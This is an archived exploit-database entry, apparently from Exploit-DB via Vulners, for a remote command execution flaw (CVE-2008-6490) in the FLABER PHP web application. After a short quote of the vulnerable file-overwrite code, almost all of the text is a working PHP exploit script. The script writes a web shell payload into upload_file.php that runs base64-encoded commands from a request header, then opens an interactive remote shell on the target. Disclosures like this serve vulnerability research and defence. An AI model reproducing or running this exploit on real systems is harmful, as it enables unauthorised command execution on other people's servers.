Search...

FLABER <= 1.1 RC1 - Remote Command Execution Exploit

2008-04-08T00:00:00
ID EDB-ID:5407
Type exploitdb
Reporter EgiX
Modified 2008-04-08T00:00:00

Description

FLABER <= 1.1 RC1 Remote Command Execution Exploit. CVE-2008-6490. Webapps exploit for php platform

                                        
                                            &lt;?php

/*
	--------------------------------------------------
	FLABER &lt;= 1.1 RC1 Remote Command Execution Exploit
	--------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://sourceforge.net/projects/flaber

	[-] vulnerable code in /function/update_xml.php
	
	12.		$target_file = $_GET ["target_file"];
	13.		
	14.		// if the target is well defined, update now...
	15.		if ($target_file == "")
	16.		{
	17.			echo ("&lt;critical&gt;" . $FILE_NAME . " Incorrect parameter target_file.&lt;/critical&gt;");
	18.			exit;
	19.		}
	20.		
	21.		
	22.		$target_file = "../" . $target_file;
	23.		
	24.		// if it is a file
	25.		if (is_file ($target_file))
	26.		{
	27.			if (!is_writable ($target_file))
	28.			{
	29.				echo ("&lt;critical&gt;" . $FILE_NAME . " " . $target_file . " is not writable.&lt;/critical&gt;");
	30.				exit;
	31.			}		
	32.	
	33.			$fp = fopen($target_file, "w");
	34.			
	35.			$raw_xml = file_get_contents("php://input");
	36.			fwrite($fp, $raw_xml);
	37.			
	38.			fclose ($fp);
	39.			echo ("&lt;normal&gt;" . $FILE_NAME . " " . $target_file . " updated successfully.&lt;/normal&gt;");
	40.			exit;
	41.		}
	
	an attacker could be overwrite an existing file with arbitrary data by $_POST array (lines 33-36)

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from ".$host.":80 Trying again...";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

print "\n+------------------------------------------------------------+";
print "\n| FLABER &lt;= 1.1 RC1 Remote Command Execution Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";

if ($argc &lt; 3)
{
	print "\nUsage:		php $argv[0] host path\n";
	print "\nhost:		target server (ip/hostname)";
	print "\npath:		path to FLABER directory (example: / or /flaber/\n";
	die();
}

$host	= $argv[1];
$path	= $argv[2];

$payload = "&lt;?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?&gt;";
$packet  = "POST {$path}function/update_xml.php?target_file=function/upload_file.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

if (!preg_match("/updated successfully/", http_send($host, $packet))) die("\n\n[-] Exploit failed...\n");

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
	print "\nxpl0it-sh3ll &gt; ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$packet  = "GET {$path}function/upload_file.php HTTP/1.0\r\n";
		$packet .= "Host: {$host}\r\n";
		$packet .= "Cmd: ".base64_encode($cmd)."\r\n";
		$packet .= "Connection: close\r\n\r\n";
		$html = http_send($host, $packet);
		if (!ereg("_code_", $html)) die("\n[-] Exploit failed...\n");
		$shell = explode("_code_", $html);
		print "\n".$shell[1];
	}
	else break;
}

?&gt;

# milw0rm.com [2008-04-08]
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2017
Protected by